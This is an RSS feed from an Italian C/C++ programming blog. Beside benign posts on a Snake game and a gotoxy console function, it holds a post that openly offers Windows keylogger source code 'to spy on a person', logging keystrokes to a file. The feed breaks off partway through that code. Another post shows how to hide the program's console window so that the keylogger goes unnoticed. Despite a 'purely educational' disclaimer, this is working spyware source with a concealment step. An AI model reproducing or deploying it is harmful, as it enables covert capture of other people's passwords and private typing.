<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>IoSmanetto.it - Blog programmazione e webdesign &#187; C/C++</title>
	<atom:link href="http://www.iosmanetto.it/category/cpp/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.iosmanetto.it</link>
	<description>Il blog per tutti gli smanettoni del pc. Ogni giorno nuovi articoli sul webdesign e sulla programmazione</description>
	<lastBuildDate>Sat, 16 Apr 2011 16:19:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Realizziamo il mitico Snake in C++ &#8211; Parte 1</title>
		<link>http://www.iosmanetto.it/cpp/realizziamo-il-mitico-snake-in-c-parte-1/</link>
		<comments>http://www.iosmanetto.it/cpp/realizziamo-il-mitico-snake-in-c-parte-1/#comments</comments>
		<pubDate>Sat, 16 Apr 2011 16:17:17 +0000</pubDate>
		<dc:creator>Gregorio</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[giochi]]></category>

		<guid isPermaLink="false">http://www.iosmanetto.it/?p=434</guid>
		<description><![CDATA[Introduzione Snake è un famoso giochino che ha come protagonista un serpente . Quando il serpente mangia, il suo corpo si allunga rendendo il gioco sempre piu&#8217; complicato. In questa prima parte spiegherò la pseudocodifica del codice che andreamo a relizzare dal prossimo articolo. Le liste Il corpo del serpente possiamo tradurlo in linguaggio informatico [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Introduzione</strong></p>
<p>Snake è un famoso giochino che ha come protagonista un serpente . Quando il serpente mangia, il suo corpo si allunga rendendo il gioco sempre piu&#8217; complicato.</p>
<p>In questa prima parte spiegherò la pseudocodifica del codice che andreamo a relizzare dal prossimo articolo.</p>
<p><strong>Le liste</strong></p>
<p>Il corpo del serpente possiamo tradurlo in linguaggio informatico come una lista . La lista  per chi non la conoscesse è una struttura dati dinamica o meglio una serie di elementi dove ogni elemento è legato a quello successivo . Per un approfondimento vi rimando a <a href="http://it.wikipedia.org/wiki/Lista_%28informatica%29">wikipedia</a> .</p>
<p>Ecco  come si presenta graficamente una lista :</p>
<p><img class="aligncenter size-full wp-image-435" title="nodo" src="http://www.iosmanetto.it/wp-content/uploads/2010/02/nodo.jpg" alt="" width="326" height="71" /></p>
<p>Pensiamo il nodo come la parte che costituisce il corpo del serpente . Ogni nodo deve avere una caratteristica : la posizione occupata nello schermo.</p>
<p>Rifacciamo il disegno della lista seguendo la logica descritta sopra:</p>
<p><img class="aligncenter size-full wp-image-437" title="nodo2" src="http://www.iosmanetto.it/wp-content/uploads/2010/02/nodo2.jpg" alt="" width="326" height="89" /></p>
<p>La lista disegnata rappresenta un serpente che inizia nella cella X:5 Y:2 e finisce in X:7 Y:2 .</p>
<p><img class="aligncenter size-full wp-image-443" title="snake1" src="http://www.iosmanetto.it/wp-content/uploads/2010/02/snake1.jpg" alt="" width="324" height="114" /></p>
<p>Per comodita è consigliabile usare una <strong>lista concatenata</strong> : una particolare lista dove ogni elemento non solo è collegato all&#8217;elemento successivo ma anche a quello precendente . </p>
<p>Trasformiamo per l&#8217;ultima volta la nostra bozza :</p>
<p><a href="http://www.iosmanetto.it/wp-content/uploads/2010/02/nodo3.jpg"><img class="aligncenter size-full wp-image-440" title="nodo3" src="http://www.iosmanetto.it/wp-content/uploads/2010/02/nodo3.jpg" alt="" width="406" height="89" /></a></p>
<p><strong>Movimento del serpente</strong></p>
<p>Supponiamo di avere questo serpente :</p>
<p><a href="http://www.iosmanetto.it/wp-content/uploads/2010/02/snake2.jpg"><img class="aligncenter size-full wp-image-445" title="snake2" src="http://www.iosmanetto.it/wp-content/uploads/2010/02/snake2.jpg" alt="" width="324" height="134" /></a></p>
<p>Tradotto in una lista sarebbe:</p>
<p><img class="aligncenter size-full wp-image-447" title="nodo4" src="http://www.iosmanetto.it/wp-content/uploads/2010/02/nodo4.jpg" alt="" width="406" height="89" /></p>
<p>Il serpente deve potersi muovere nelle quattro direzioni : a sinistra , in alto , a destra e in basso.</p>
<p>Supponiamo di volerlo muovere a destra</p>
<p><img class="aligncenter size-full wp-image-449" title="snake2-right" src="http://www.iosmanetto.it/wp-content/uploads/2010/02/snake2-right.jpg" alt="" width="324" height="134" /></p>
<p>Bisogna trovare un algortimo , una sequenza di istruzioni , per generare la seguente lista</p>
<p><img class="aligncenter size-full wp-image-453" title="nodo5" src="http://www.iosmanetto.it/wp-content/uploads/2010/02/nodo5.jpg" alt="" width="406" height="89" /></p>
<p>Se sovrapponessimo le due liste noteremmo che nella lista generata ( quella dopo il movimento ) c&#8217;è un nuovo nodo che rappresenta l&#8217; head e che l&#8217;ultimo nodo viene cancellato.</p>
<p><a href="http://www.iosmanetto.it/wp-content/uploads/2010/02/nodo6.jpg"><img class="aligncenter size-full wp-image-455" title="nodo6" src="http://www.iosmanetto.it/wp-content/uploads/2010/02/nodo6.jpg" alt="" width="406" height="178" /></a></p>
<p>Il procedimento è identico per tutte le 4 le direzioni: eliminare l&#8217;ultimo nodo e inserire una nuova testa (head) con le nuove cordinate dove inizia il serpente.</p>
<p>Come avete visto il ragionamento logico che sta dietro all&#8217;algoritmo è molto semplice . Nella prossima lezione concluderemo questo appuntamento scrivendo il codice  <img src='http://www.iosmanetto.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.iosmanetto.it/cpp/realizziamo-il-mitico-snake-in-c-parte-1/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>GotoXY sul compilatore DevC++</title>
		<link>http://www.iosmanetto.it/cpp/gotoxy-sul-compilatore-devc/</link>
		<comments>http://www.iosmanetto.it/cpp/gotoxy-sul-compilatore-devc/#comments</comments>
		<pubDate>Mon, 01 Feb 2010 21:10:23 +0000</pubDate>
		<dc:creator>Gregorio</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[funzione]]></category>

		<guid isPermaLink="false">http://www.iosmanetto.it/?p=425</guid>
		<description><![CDATA[Lo scopo della funzione gotoxy, presente nella libreria conio.h , è quello di spostare il cursore della console. DevC++ non contiene la libreria perciò,se non vogliamo installarla, l&#8217;unica soluzione è quella di creare la funzione: #include &#60;windows.h&#62; #include &#60;stdio.h&#62; #include &#60;iostream.h&#62; void gotoxy&#40;int x,int y&#41;&#123; HANDLE HConsole; CONSOLE_SCREEN_BUFFER_INFO ConsoleInfo; HConsole = GetStdHandle&#40;STD_OUTPUT_HANDLE&#41;; ConsoleInfo.dwCursorPosition.X = x; [...]]]></description>
			<content:encoded><![CDATA[<p>Lo scopo della funzione <strong>gotoxy</strong>, presente nella libreria <em>conio.h</em> , è quello di spostare il cursore della console.<br />
DevC++ non contiene la libreria perciò,se non vogliamo installarla, l&#8217;unica soluzione è quella di creare la funzione:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;windows.h&gt;</span>
<span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include &lt;iostream.h&gt;</span>
<span style="color: #993333;">void</span> gotoxy<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> x<span style="color: #339933;">,</span><span style="color: #993333;">int</span> y<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>     
     HANDLE HConsole<span style="color: #339933;">;</span>
     CONSOLE_SCREEN_BUFFER_INFO ConsoleInfo<span style="color: #339933;">;</span>     
     HConsole <span style="color: #339933;">=</span> GetStdHandle<span style="color: #009900;">&#40;</span>STD_OUTPUT_HANDLE<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     ConsoleInfo.<span style="color: #202020;">dwCursorPosition</span>.<span style="color: #202020;">X</span> <span style="color: #339933;">=</span> x<span style="color: #339933;">;</span>
     ConsoleInfo.<span style="color: #202020;">dwCursorPosition</span>.<span style="color: #202020;">Y</span> <span style="color: #339933;">=</span> y<span style="color: #339933;">;</span>     
     SetConsoleCursorPosition<span style="color: #009900;">&#40;</span>HConsole<span style="color: #339933;">,</span>ConsoleInfo.<span style="color: #202020;">dwCursorPosition</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>     
<span style="color: #009900;">&#125;</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    gotoxy<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">3</span><span style="color: #339933;">,</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;IOSMANETTO.it<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    gotoxy<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">3</span><span style="color: #339933;">,</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    system<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;pause&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span></pre></div></div>

<p><strong>HANDLE HConsole;</strong> HANDLE è simile ad un puntatore ma è piu&#8217; complesso.<br/><br />
<strong>CONSOLE_SCREEN_BUFFER_INFO ConsoleInfo;</strong> Dichiariamo ConsoleInfo come struttura CONSOLE_SCREEN_BUFFER_INFO . La struttura contiene informazioni sulla console come la posizione del cursore, il colore del testo e dello sfondo ecc.<br/><br />
<strong>HConsole = GetStdHandle(STD_OUTPUT_HANDLE);</strong> Otteniamo l&#8217;Handle della console<br/><br />
<strong>ConsoleInfo.dwCursorPosition.X = x; ConsoleInfo.dwCursorPosition.Y = y; </strong>  Inseriamo le nuove coordinate<br/><br />
<strong>SetConsoleCursorPosition(HConsole,ConsoleInfo.dwCursorPosition);</strong> <br/>SetConsoleCursorPosition setta la posizione del cursore. Come parametri passiamo l&#8217;handle della console e la nuova posizione. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.iosmanetto.it/cpp/gotoxy-sul-compilatore-devc/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Console invisibile c++</title>
		<link>http://www.iosmanetto.it/cpp/console-invisibile-c/</link>
		<comments>http://www.iosmanetto.it/cpp/console-invisibile-c/#comments</comments>
		<pubDate>Sun, 31 Jan 2010 19:34:49 +0000</pubDate>
		<dc:creator>Gregorio</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://www.iosmanetto.it/?p=419</guid>
		<description><![CDATA[Nell&#8217;articolo precedente abbiamo realizzato un keylogger per windows in c++. Chi ha letto l&#8217;articolo e provato il keylogger avrà sicuramente notato un piccolo particolare : la console è visibile e chiunque puo&#8217; notare la sua presenza. Come nasconderla allora ? #include &#60;windows.h&#62; #include &#60;stdlib.h&#62; int main&#40;int argc, char * argv&#91;&#93;&#41; &#123; HWND form; form = [...]]]></description>
			<content:encoded><![CDATA[<p>Nell&#8217;articolo precedente abbiamo realizzato un <a href="http://www.iosmanetto.it/cpp/keylogger-windows-in-c/">keylogger</a> per windows in c++. Chi ha letto l&#8217;articolo e provato il keylogger avrà sicuramente notato un piccolo particolare : la console è visibile e chiunque puo&#8217; notare la sua presenza. Come nasconderla allora ?</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;windows.h&gt;</span>
<span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span> argv<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
    HWND form<span style="color: #339933;">;</span> 
    form <span style="color: #339933;">=</span> GetForegroundWindow<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    ShowWindow<span style="color: #009900;">&#40;</span>form<span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    system<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;pause&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p><strong>HWND form;</strong> Dichiara la variabile form di tipo HWND. HWND sta per (h)handle (wnd)window e viene usata per accedere alla proprietà di una finestra.</p>
<p><strong>form = GetForegroundWindow();</strong> La funzione GetForegroundWindow restituisce il puntatore della finestra in primo piano.</p>
<p><strong>ShowWindow(form, false);</strong> ShowWindow modifica lo stato di una finestra. Con false indichiamo di nascondere la finestra</p>
<p>Semplice no !? Per il keylogger rendere invisibile la finestra è importantissimo ma non è il massimo : dal Taskmenager è sempre possibile individuare il processo . </p>
]]></content:encoded>
			<wfw:commentRss>http://www.iosmanetto.it/cpp/console-invisibile-c/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Keylogger windows in c++</title>
		<link>http://www.iosmanetto.it/cpp/keylogger-windows-in-c/</link>
		<comments>http://www.iosmanetto.it/cpp/keylogger-windows-in-c/#comments</comments>
		<pubDate>Sat, 30 Jan 2010 17:59:29 +0000</pubDate>
		<dc:creator>Gregorio</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://www.iosmanetto.it/?p=400</guid>
		<description><![CDATA[Lo scopo dell&#8217;articolo è puramente didattico. Non mi assumo nessuna responsabilità sull&#8217;uso illecito dello script. Per spiare una persona non è necessario nulla di complicato: basta infatti intercettare in qualche modo quello che viene digitato sulla tastiera. Lo strumento necessario per questo tipo di operazione è il keylogger che puo&#8217; essere software o hardware. Oggi [...]]]></description>
			<content:encoded><![CDATA[<p><em style="color:red">Lo scopo dell&#8217;articolo è puramente didattico. Non mi assumo nessuna responsabilità sull&#8217;uso illecito dello script.</em></p>
<p>Per spiare una persona non è necessario nulla di complicato: basta infatti intercettare in qualche modo quello che viene digitato sulla tastiera. Lo strumento necessario per questo tipo di operazione è il <strong>keylogger </strong> che puo&#8217; essere software o hardware. </p>
<p>Oggi parleremo di quello software realizzandone uno in c++.</p>
<p>Lo scopo del keylogger è quello di intercettare i tasti premuti dall&#8217;utente e registrali in un file.<br />
La funzione <strong>GetAsyncKeyState</strong>, presente nella libreria <strong>windows.h</strong>, è indispensabile perchè restituisce lo stato di un bottone , cioè se è premuto o no. </p>
<p>Ecco un semplice esempio per utilizzare questa funzione.</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include &lt;windows.h&gt;</span>
<span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>   
    <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>                     
             <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>GetAsyncKeyState<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">65</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">32767</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>                                             
                    <span style="color: #000066;">cout</span> <span style="color: #339933;">&lt;&lt;</span> <span style="color: #ff0000;">&quot;Tasto A premuto<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>                                                         
              <span style="color: #009900;">&#125;</span>                           
    <span style="color: #009900;">&#125;</span>    
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p><span id="more-400"></span><br />
Il seguente codice <strong>if(GetAsyncKeyState(65)==-32767){</strong> controlla se il tasto della lettera A ( corrisponde al numero 65 ) è premuto. Quando noi , infatti, premiamo il tasto, la funzione restituisce -32767 .</p>
<p>Altra concetto fondamentale per costruire il nostro keylogger è saper scrivere sui file . Lo script altre ad intercettare la pressione dei tasti deve salvare ogni singolo movimento in un file txt.</p>
<p>Il seguente programmino apre il file in scrittura e scrive una stringa &#8220;prova&#8221;</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include &lt;conio.h&gt;</span>
<span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
<span style="color: #993333;">void</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
     <span style="color: #993333;">char</span> <span style="color: #339933;">*</span> file <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;keylog.txt&quot;</span><span style="color: #339933;">;</span>
     FILE <span style="color: #339933;">*</span> scrivi <span style="color: #339933;">;</span>
     scrivi <span style="color: #339933;">=</span> fopen<span style="color: #009900;">&#40;</span>file<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;a+&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     fprintf<span style="color: #009900;">&#40;</span>scrivi<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;prova&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     system<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;pause&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>     
     <span style="color: #009900;">&#125;</span></pre></div></div>

<p>Dopo aver imparato a scrivere sui file e ad intercettare le pressioni sui tasti vi posto lo script completo del keylogger con alcuni commenti sul codice :</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include &lt;windows.h&gt;</span>
<span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
<span style="color: #339933;">#include &lt;iostream.h&gt;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// La seguente funzione registra il tasto premuto </span>
<span style="color: #666666; font-style: italic;">// sul file</span>
<span style="color: #993333;">void</span> reg<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> key<span style="color: #339933;">,</span><span style="color: #993333;">char</span> <span style="color: #339933;">*</span>file<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
   FILE <span style="color: #339933;">*</span>keylog<span style="color: #339933;">;</span>
   keylog <span style="color: #339933;">=</span> fopen<span style="color: #009900;">&#40;</span>file<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;a+&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">// Apriamo il file in modalità scrittura con </span>
   <span style="color: #666666; font-style: italic;">// cursore posizionato alla fine</span>
   <span style="color: #993333;">int</span> tmp <span style="color: #339933;">=</span> key<span style="color: #339933;">;</span> 
&nbsp;
   <span style="color: #b1b100;">switch</span><span style="color: #009900;">&#40;</span>key<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">8</span> <span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Del]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span> 
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">9</span> <span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Tab]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>      
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">13</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>[Invio]<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">37</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Left]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">38</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Top]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">39</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Right]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>  
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">40</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Bottom]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span> 
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">46</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Canc]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>   
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">44</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Stamp R sist]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>   
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">45</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Ins]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>     
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">33</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Pag Su]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>  
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">34</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Pag Giu]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>        
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">35</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Fine&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>      
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">164</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Alt]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>       
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">145</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Bloc Scorr]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>  
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">92</span><span style="color: #339933;">:</span><span style="color: #b1b100;">case</span> <span style="color: #0000dd;">91</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Windows]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>           
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">32</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot; &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">162</span><span style="color: #339933;">:</span>   fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Ctrl]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">107</span><span style="color: #339933;">:</span>   fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;+&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">109</span><span style="color: #339933;">:</span>   fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;-&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>  
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">111</span><span style="color: #339933;">:</span>   fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;*&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>   
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">144</span><span style="color: #339933;">:</span>   fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;/&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>   
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">106</span><span style="color: #339933;">:</span>   fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;-&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>    
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">27</span><span style="color: #339933;">:</span><span style="color: #b1b100;">case</span> <span style="color: #0000dd;">163</span><span style="color: #339933;">:</span>   fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Esc]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>     
   <span style="color: #009900;">&#125;</span>
   <span style="color: #666666; font-style: italic;">// Tasti F1,F1,F2 ecc</span>
   <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>key <span style="color: #339933;">&gt;=</span> <span style="color: #0000dd;">112</span> and key <span style="color: #339933;">&lt;=</span> <span style="color: #0000dd;">123</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
